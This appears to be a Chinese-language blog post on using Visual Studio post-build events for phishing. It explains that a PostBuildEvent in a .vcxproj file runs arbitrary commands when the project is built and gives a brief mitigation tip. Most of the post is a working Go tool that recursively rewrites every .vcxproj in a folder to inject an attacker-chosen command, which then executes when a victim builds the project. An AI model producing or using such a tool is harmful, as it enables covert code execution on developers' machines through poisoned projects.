利用 Visual Studio 构建事件进行钓鱼


实现原理

Visual Studio 是一款强大的集成开发环境,广泛用于软件开发。在项目的构建过程中,可以通过构建事件执行一些额外的操作,这些事件会在项目构建完成后执行特定的操作。PostBuildEvent 是其中之一,它可以在构建完成后运行自定义的命令或脚本,可以通过修改 Visual Studio 项目文件.vcxproj中的 XML 配置部分定义构建事件来在项目构建完成后执行自定义命令或操作

每个项目的 .vcxproj 文件,这是一个包含项目配置信息的 XML 文件。在文件中找到<PropertyGroup>元素,通常包含项目的一般属性设置,我们可以添加一个新的元素来定义PostBuildEvent

<PropertyGroup>
    <!-- 其他属性设置 -->
    <PostBuildEvent>CustomCommandOrScript</PostBuildEvent>
</PropertyGroup>

<PostBuildEvent>元素中,我们可以指定自定义的命令或脚本,这些命令将在项目构建完成后执行

实用性

构建事件本身属于 Visual Studio 的特性,很隐蔽且难防范,防范此类攻击的最佳方式是审查和限制构建事件中允许执行的命令。确保只有必要的命令被允许,并对项目文件进行定期审查,以发现潜在的恶意代码

POC

package main
import (
    "flag"
    "fmt"
    "io/ioutil"
    "os"
    "path/filepath"
    "regexp"
    "strings"
)
func main() {
    path := flag.String("p", "", "项目路径")
    command := flag.String("c", "", "执行命令")
    flag.Parse()
    postBuildEventNode := fmt.Sprintf(`
<ItemDefinitionGroup>
  <PostBuildEvent>
    <Command>%s</Command>
  </PostBuildEvent>
</ItemDefinitionGroup>
`, *command)
    propertyGroupPattern := regexp.MustCompile(`<PropertyGroup Label="UserMacros" />\s*`)
    err := filepath.Walk(*path, func(path string, info os.FileInfo, err error) error {
        if err != nil {
            return err
        }
        if strings.HasSuffix(info.Name(), ".vcxproj") {
            content, err := ioutil.ReadFile(path)
            if err != nil {
                return err
            }
            newContent := propertyGroupPattern.ReplaceAllString(string(content), postBuildEventNode+"$0")
            if newContent != string(content) {
                err := ioutil.WriteFile(path, []byte(newContent), 0644)
                if err != nil {
                    return err
                }
            }
        }
        return nil
    })
    if err != nil {
        fmt.Println(err)
    }
}

效果展示

演示视频

声明:Iruko的小站|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 利用 Visual Studio 构建事件进行钓鱼


優しい世界に 誰だって行きたいわ